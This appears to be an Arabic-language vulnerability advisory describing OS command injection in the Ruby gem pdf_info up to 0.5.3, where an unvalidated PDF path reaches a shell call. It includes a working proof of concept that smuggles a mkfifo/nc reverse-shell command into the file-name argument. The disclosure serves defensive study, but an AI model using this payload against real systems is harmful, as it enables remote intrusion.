
pdf_info <= 0.5.3 حقن أوامر نظام التشغيل
إن جوهرة روبي pdf_info ذات الإصدار <= 0.5.3 معرضة لهجوم حقن الأوامر في نظام التشغيل عند تنفيذ طريقة (method) على كائن PDF::Info.
يمكن للمهاجم باستخدام حمولة مصمَّمة خصيصًا تنفيذ أوامر نظام التشغيل باستخدام ربط الأوامر.
عند إنشاء كائن جديد من PDF::Info، يتم استدعاء طريقة initialize
def initialize(pdf_path)
@pdf_path = pdf_path
end
أثناء تهيئة الكائن لا يتم إجراء أي تحقق من الصحة ويتم استخدام المسار الذي يوفره المستخدم كما هو.
يمكننا إنشاء كائن PDF::Info وإرجاع البيانات الوصفية لملف PDF كما يلي:
#!/usr/bin/env ruby
require 'pdf/info'
info = PDF::Info.new("./pdf/sample1.pdf")
pp info.metadata
عندما نستدعي طريقة metadata على كائن PDF::Info، يتم استدعاء طريقة process_output مع الوسيط الذي يتم تمريره وهو طريقة command.
تستخدم طريقة command المتغير الصنفي @pdf_info لتنفيذ أمر pdfinfo على النظام باستخدام مقتطف الشيفرة التالي لإعادة مخرجات الأمر:
output = `#{self.class.command_path} -enc UTF-8 -f 1 -l -1 "#{@pdf_path}" 2> /dev/null`
كما هو الحال مع طريقة initialize، لا يتم إجراء أي تحقق من الصحة على المتغير @pdf_path. وهذا يسمح لنا باستخدام ربط الأوامر بـ ; لتنفيذ أمر عشوائي.
info = PDF::Info.new('pdf/sample1.pdf; $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444>/tmp/f)')
pp info.metadata
سيقوم مقتطف الشيفرة أعلاه بتنفيذ شِل عكسي (reverse shell) إلى 127.0.0.1 على المنفذ 4444.
